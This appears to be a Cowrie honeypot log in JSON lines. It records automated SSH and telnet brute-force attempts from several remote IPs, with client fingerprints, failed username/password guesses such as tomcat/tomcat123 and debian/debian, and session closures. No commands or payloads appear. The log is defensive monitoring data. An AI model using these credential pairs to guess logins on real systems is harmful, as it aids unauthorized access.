{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T12:14:17.999980Z","src_ip":"176.65.132.129","session":"1a09d93cde04","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"amrita","password":"amrita","message":"login attempt [amrita/amrita] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T12:14:18.246267Z","src_ip":"176.65.132.129","session":"1a09d93cde04","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T12:14:19.332128Z","src_ip":"176.65.132.129","session":"1a09d93cde04","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"176.65.132.129","src_port":56480,"dst_ip":"159.203.135.109","dst_port":22,"session":"6978201ece77","protocol":"ssh","message":"New connection: 176.65.132.129:56480 (159.203.135.109:22) [session: 6978201ece77]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T12:14:21.344956Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T12:14:21.349511Z","src_ip":"176.65.132.129","session":"6978201ece77","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T12:14:21.433008Z","src_ip":"176.65.132.129","session":"6978201ece77","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"45.58.127.90","src_port":44666,"dst_ip":"10.17.0.5","dst_port":23,"session":"4c0d07a7dd17","protocol":"telnet","message":"New connection: 45.58.127.90:44666 (10.17.0.5:23) [session: 4c0d07a7dd17]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T12:14:21.526037Z"}
{"eventid":"cowrie.login.failed","username":"tomcat","password":"tomcat123","message":"login attempt [tomcat/tomcat123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T12:14:21.684553Z","src_ip":"176.65.132.129","session":"6978201ece77","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T12:14:22.770777Z","src_ip":"176.65.132.129","session":"6978201ece77","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"176.65.132.129","src_port":56494,"dst_ip":"159.203.135.109","dst_port":22,"session":"183da69c3c0f","protocol":"ssh","message":"New connection: 176.65.132.129:56494 (159.203.135.109:22) [session: 183da69c3c0f]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T12:14:24.762882Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T12:14:24.768970Z","src_ip":"176.65.132.129","session":"183da69c3c0f","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T12:14:24.851169Z","src_ip":"176.65.132.129","session":"183da69c3c0f","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"user","password":"12345","message":"login attempt [user/12345] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T12:14:25.106458Z","src_ip":"176.65.132.129","session":"183da69c3c0f","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":4.588979959487915,"message":"Connection lost after 4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T12:14:26.114899Z","src_ip":"45.58.127.90","session":"4c0d07a7dd17","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T12:14:26.222091Z","src_ip":"176.65.132.129","session":"183da69c3c0f","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"176.65.132.129","src_port":48988,"dst_ip":"159.203.135.109","dst_port":22,"session":"4547375aeb53","protocol":"ssh","message":"New connection: 176.65.132.129:48988 (159.203.135.109:22) [session: 4547375aeb53]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T12:14:28.114791Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T12:14:28.119658Z","src_ip":"176.65.132.129","session":"4547375aeb53","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T12:14:28.202199Z","src_ip":"176.65.132.129","session":"4547375aeb53","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"developer","password":"123","message":"login attempt [developer/123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T12:14:28.617121Z","src_ip":"176.65.132.129","session":"4547375aeb53","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.6","message":"Connection lost after 1.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T12:14:29.702290Z","src_ip":"176.65.132.129","session":"4547375aeb53","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"176.65.132.129","src_port":49004,"dst_ip":"159.203.135.109","dst_port":22,"session":"66c018beead6","protocol":"ssh","message":"New connection: 176.65.132.129:49004 (159.203.135.109:22) [session: 66c018beead6]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T12:14:31.706495Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T12:14:31.714089Z","src_ip":"176.65.132.129","session":"66c018beead6","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T12:14:31.795323Z","src_ip":"176.65.132.129","session":"66c018beead6","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"appuser","password":"appuser","message":"login attempt [appuser/appuser] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T12:14:32.041431Z","src_ip":"176.65.132.129","session":"66c018beead6","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T12:14:33.127148Z","src_ip":"176.65.132.129","session":"66c018beead6","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"176.65.132.129","src_port":49014,"dst_ip":"159.203.135.109","dst_port":22,"session":"a13de95df04c","protocol":"ssh","message":"New connection: 176.65.132.129:49014 (159.203.135.109:22) [session: a13de95df04c]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T12:14:35.082310Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T12:14:35.087335Z","src_ip":"176.65.132.129","session":"a13de95df04c","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T12:14:35.171150Z","src_ip":"176.65.132.129","session":"a13de95df04c","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"gabriel","password":"gabriel","message":"login attempt [gabriel/gabriel] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T12:14:35.421616Z","src_ip":"176.65.132.129","session":"a13de95df04c","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T12:14:36.539335Z","src_ip":"176.65.132.129","session":"a13de95df04c","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"2.57.121.25","src_port":16657,"dst_ip":"10.17.0.5","dst_port":22,"session":"b7863798b9f2","protocol":"ssh","message":"New connection: 2.57.121.25:16657 (10.17.0.5:22) [session: b7863798b9f2]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T12:14:36.790951Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh2_1.9.0","message":"Remote SSH version: SSH-2.0-libssh2_1.9.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T12:14:36.795747Z","src_ip":"2.57.121.25","session":"b7863798b9f2","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"57446c12547a668110aa237e5965e374","hasshAlgorithms":"ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,curve25519-sha256,curve25519-sha256@libssh.org,diffie-hellman-group-exchange-sha256,diffie-hellman-group-exchange-sha1,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1;aes128-ctr,aes192-ctr,aes256-ctr,aes256-cbc,rijndael-cbc@lysator.liu.se,aes192-cbc,aes128-cbc,blowfish-cbc,arcfour128,arcfour,cast128-cbc,3des-cbc;hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96,hmac-md5,hmac-md5-96,hmac-ripemd160,hmac-ripemd160@openssh.com;none","kexAlgs":["ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","curve25519-sha256","curve25519-sha256@libssh.org","diffie-hellman-group-exchange-sha256","diffie-hellman-group-exchange-sha1","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1"],"keyAlgs":["ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ssh-ed25519","ssh-rsa","ssh-dss"],"encCS":["aes128-ctr","aes192-ctr","aes256-ctr","aes256-cbc","rijndael-cbc@lysator.liu.se","aes192-cbc","aes128-cbc","blowfish-cbc","arcfour128","arcfour","cast128-cbc","3des-cbc"],"macCS":["hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96","hmac-md5","hmac-md5-96","hmac-ripemd160","hmac-ripemd160@openssh.com"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 57446c12547a668110aa237e5965e374","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T12:14:36.898520Z","src_ip":"2.57.121.25","session":"b7863798b9f2","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"user","password":"24021980","message":"login attempt [user/24021980] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T12:14:37.374145Z","src_ip":"2.57.121.25","session":"b7863798b9f2","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"176.65.132.129","src_port":42456,"dst_ip":"159.203.135.109","dst_port":22,"session":"37d69498d487","protocol":"ssh","message":"New connection: 176.65.132.129:42456 (159.203.135.109:22) [session: 37d69498d487]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T12:14:38.427382Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T12:14:38.431784Z","src_ip":"176.65.132.129","session":"37d69498d487","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"user","password":"240185","message":"login attempt [user/240185] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T12:14:38.477597Z","src_ip":"2.57.121.25","session":"b7863798b9f2","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T12:14:38.513848Z","src_ip":"176.65.132.129","session":"37d69498d487","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"debian","password":"debian","message":"login attempt [debian/debian] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T12:14:38.859111Z","src_ip":"176.65.132.129","session":"37d69498d487","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"user","password":"24011980","message":"login attempt [user/24011980] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T12:14:39.580196Z","src_ip":"2.57.121.25","session":"b7863798b9f2","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T12:14:39.944041Z","src_ip":"176.65.132.129","session":"37d69498d487","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"user","password":"2401","message":"login attempt [user/2401] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T12:14:40.683398Z","src_ip":"2.57.121.25","session":"b7863798b9f2","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"198.98.52.145","src_port":48540,"dst_ip":"10.17.0.5","dst_port":22,"session":"daf7c16e11a2","protocol":"ssh","message":"New connection: 198.98.52.145:48540 (10.17.0.5:22) [session: daf7c16e11a2]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T12:14:40.787161Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh2_1.11.0","message":"Remote SSH version: SSH-2.0-libssh2_1.11.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T12:14:40.792042Z","src_ip":"198.98.52.145","session":"daf7c16e11a2","protocol":"ssh"}
